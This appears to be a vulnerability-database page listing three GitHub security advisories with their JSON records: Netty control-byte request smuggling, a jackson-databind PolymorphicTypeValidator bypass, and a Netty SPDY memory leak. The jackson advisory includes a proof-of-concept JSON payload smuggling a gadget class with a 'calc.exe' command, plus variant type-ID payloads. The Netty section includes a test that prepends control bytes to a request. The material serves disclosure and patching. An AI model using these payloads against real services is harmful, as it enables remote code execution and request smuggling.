Character.isISOControl returns true for 0x00–0x1F and 0x7F. This includes NUL
(0x00), SOH (0x01), STX (0x02), BEL (0x07), DEL (0x7F), and every other non-CRLF
control character. The SKIP_CONTROL_CHARS state runs this scan unconditionally before the
first READ_INITIAL, meaning any sequence of such bytes prepended to a request is silently
consumed.
A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack.
Suggested Unit Test
Add to HttpRequestDecoderTest.java.
@Test
public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {
// RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the
// request-line. Non-CRLF control bytes are not part of this robustness allowance
// and must not be silently swallowed.
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
ByteBuf buf = Unpooled.buffer();
buf.writeByte(0x00); // NUL — not an empty CRLF line
buf.writeByte(0x01); // SOH — not an empty CRLF line
buf.writeCharSequence(
"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
CharsetUtil.US_ASCII);
channel.writeInbound(buf);
HttpRequest req = channel.readInbound();
// Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are
// silently skipped; the request decodes successfully and isFailure() == false.
//
// RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must
// cause a parse error — isFailure() == true.
assertTrue(
req.decoderResult().isFailure(),
"Non-CRLF control bytes before the request-line must not be silently skipped " +
"(RFC 9112 §2.2 allows only empty CRLF lines)");
assertFalse(channel.finish());
}
Current behaviour (unfixed): skipControlChars advances past 0x00 and 0x01 because
both are in ISO_CONTROL_OR_WHITESPACE; the request parses normally, isFailure() is
false → test fails.
Expected behaviour after fix: only CRLF empty lines are tolerated; non-CRLF control
bytes produce an error, isFailure() is true → test passes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50020"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:36Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore reading the first request-line, `HttpObjectDecoder` skips every byte for which\n`Character.isISOControl(b)` is `true` (0x00\u20130x1F and 0x7F) as well as all whitespace.\nRFC 9112 \u00a72.2 only asks servers to ignore **empty CRLF lines** preceding the request-line \u2014\na carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.\nSilently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes\nsignificantly beyond this, and can be exploited for request-boundary confusion in pipelined\nor multiplexed transports where a front-end component treats those bytes differently.\n\n## Affected Code\n\n| File | Lines | Role |\n|------|-------|------|\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1298\u20131313 | `ISO_CONTROL_OR_WHITESPACE` static initialiser \u2014 marks all ISO control chars |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1307\u20131313 | `SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` \u2014 skips the entire set |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1275\u20131289 | `LineParser.skipControlChars` \u2014 advances `readerIndex` past all matching bytes |\n\n## Specification Analysis\n\n### RFC 9112 \u00a72.2 \u2014 Message Parsing\n\n\u003e In the interest of robustness, a server that is expecting to receive and parse a\n\u003e request-line **SHOULD ignore at least one empty line (CRLF)** received prior to the\n\u003e request-line.\n\n\u003e An HTTP/1.1 user agent **MUST NOT** preface or follow a request with an extra CRLF.\n\n### Deviation\n\nThe RFC names a single permitted exception: an **empty line** (bare CRLF, i.e. the two-byte\nsequence `\\r\\n`). The `ISO_CONTROL_OR_WHITESPACE` table is initialised as:\n\n```java\nfor (byte b = Byte.MIN_VALUE; b \u003c Byte.MAX_VALUE; b++) {\n ISO_CONTROL_OR_WHITESPACE[128 + b] =\n Character.isISOControl(b) || isWhitespace(b);\n}\n```\n\n`Character.isISOControl` returns `true` for `0x00`\u2013`0x1F` and `0x7F`. This includes NUL\n(`0x00`), SOH (`0x01`), STX (`0x02`), BEL (`0x07`), DEL (`0x7F`), and every other non-CRLF\ncontrol character. The `SKIP_CONTROL_CHARS` state runs this scan unconditionally before the\nfirst `READ_INITIAL`, meaning any sequence of such bytes prepended to a request is silently\nconsumed.\n\nA load balancer or TLS terminator that does not perform the same scan sees a different\nmessage boundary than Netty does, which is the basis of a request-desync / smuggling attack.\n\n## Suggested Unit Test\n\nAdd to `HttpRequestDecoderTest.java`.\n\n```java\n@Test\npublic void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {\n // RFC 9112 \u00a72.2: servers SHOULD ignore \"at least one empty line (CRLF)\" before the\n // request-line. Non-CRLF control bytes are not part of this robustness allowance\n // and must not be silently swallowed.\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n\n ByteBuf buf = Unpooled.buffer();\n buf.writeByte(0x00); // NUL \u2014 not an empty CRLF line\n buf.writeByte(0x01); // SOH \u2014 not an empty CRLF line\n buf.writeCharSequence(\n \"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\",\n CharsetUtil.US_ASCII);\n\n channel.writeInbound(buf);\n HttpRequest req = channel.readInbound();\n\n // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are\n // silently skipped; the request decodes successfully and isFailure() == false.\n //\n // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must\n // cause a parse error \u2014 isFailure() == true.\n assertTrue(\n req.decoderResult().isFailure(),\n \"Non-CRLF control bytes before the request-line must not be silently skipped \" +\n \"(RFC 9112 \u00a72.2 allows only empty CRLF lines)\");\n\n assertFalse(channel.finish());\n}\n```\n\n**Current behaviour (unfixed):** `skipControlChars` advances past `0x00` and `0x01` because\nboth are in `ISO_CONTROL_OR_WHITESPACE`; the request parses normally, `isFailure()` is\n`false` \u2192 test **fails**.\n\n**Expected behaviour after fix:** only CRLF empty lines are tolerated; non-CRLF control\nbytes produce an error, `isFailure()` is `true` \u2192 test **passes**.",
"id": "GHSA-hvcg-qmg6-jm4c",
"modified": "2026-06-15T20:46:36Z",
"published": "2026-06-15T20:46:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted"
}
GHSA-J3RV-43J4-C7QM
Vulnerability from github – Published: 2026-06-23 21:21 – Updated: 2026-07-20 21:21jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.
If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.
An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.
This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.
Impact
- Bypass of the PTV allow-list, including the recommended
BasicPolymorphicTypeValidatorconfigured with name-prefix allow rules. - Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
- Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,
TemplatesImpl-style loaders, etc.) is present on the classpath.
Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.
Proof of Concept
Configuration restricting polymorphic deserialization to a single safe container:
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("java.util.ArrayList")
.build();
ObjectMapper mapper = JsonMapper.builder()
.polymorphicTypeValidator(ptv)
.build();
Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):
{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}
On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.
Variant payloads (all bypass an ArrayList/HashMap allow-list):
| Type ID | Smuggled type position |
|---|---|
java.util.ArrayList<Evil> |
list element |
java.util.HashMap<Evil,String> |
map key |
java.util.HashMap<String,Evil> |
map value |
java.util.ArrayList<java.util.ArrayList<Evil>> |
nested element |
java.util.ArrayList<Evil[]> |
array element |
Patches
Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.7"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54512"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:21:38Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "HIGH"
},
"details": "`jackson-databind`\u0027s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `\u003c`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `\u003c`) against the configured PTV.\n\nIf the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.\n\nAn attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container \u2014 for example `java.util.ArrayList\u003ccom.evil.Gadget\u003e` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.\n\nThis is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.\n\n\n## Impact\n\n- **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules.\n- **Arbitrary class instantiation** of any type assignable to the container\u0027s element/parameter position, with attacker-controlled property values (setter/field injection).\n- **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath.\n\nApplications that accept untrusted JSON and rely on a configured PTV \u2014 the documented, security-conscious configuration \u2014 are affected.\n\n\n## Proof of Concept\n\nConfiguration restricting polymorphic deserialization to a single safe container:\n\n```java\nBasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"java.util.ArrayList\")\n .build();\n\nObjectMapper mapper = JsonMapper.builder()\n .polymorphicTypeValidator(ptv)\n .build();\n```\n\nMalicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`):\n\n```json\n{\"value\":[\"java.util.ArrayList\u003ccom.evil.EvilGadget\u003e\",[{\"cmd\":\"calc.exe\"}]]}\n```\n\nOn vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation.\n\n**Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list):\n\n| Type ID | Smuggled type position |\n|---|---|\n| `java.util.ArrayList\u003cEvil\u003e` | list element |\n| `java.util.HashMap\u003cEvil,String\u003e` | map key |\n| `java.util.HashMap\u003cString,Evil\u003e` | map value |\n| `java.util.ArrayList\u003cjava.util.ArrayList\u003cEvil\u003e\u003e` | nested element |\n| `java.util.ArrayList\u003cEvil[]\u003e` | array element |\n\n---\n\n## Patches\n\nFixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types.\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.",
"id": "GHSA-j3rv-43j4-c7qm",
"modified": "2026-07-20T21:21:12Z",
"published": "2026-06-23T21:21:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5988"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation"
}
GHSA-JPPX-W49H-X2QQ
Vulnerability from github – Published: 2026-07-22 21:32 – Updated: 2026-07-22 21:32The SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYN_STREAM frame with FLAG_FIN=0, storing the partially-constructed FullHttpRequest in an internal map (messageMap) to accumulate subsequent DATA frames. When the remote peer sends an RST_STREAM for that stream, or when the accumulated content exceeds maxContentLength, the decoder removes the entry from the map but never releases the pooled ByteBuf, permanently leaking the allocated memory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56745"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:32:24Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "HIGH"
},
"details": "The `SpdyHttpDecoder` handler in Netty\u0027s SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0`, storing the partially-constructed `FullHttpRequest` in an internal map (`messageMap`) to accumulate subsequent `DATA` frames. When the remote peer sends an `RST_STREAM` for that stream, or when the accumulated content exceeds `maxContentLength`, the decoder removes the entry from the map but **never releases the pooled ByteBuf**, permanently leaking the allocated memory.",
"id": "GHSA-jppx-w49h-x2qq",
"modified": "2026-07-22T21:32:24Z",
"published": "2026-07-22T21:32:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.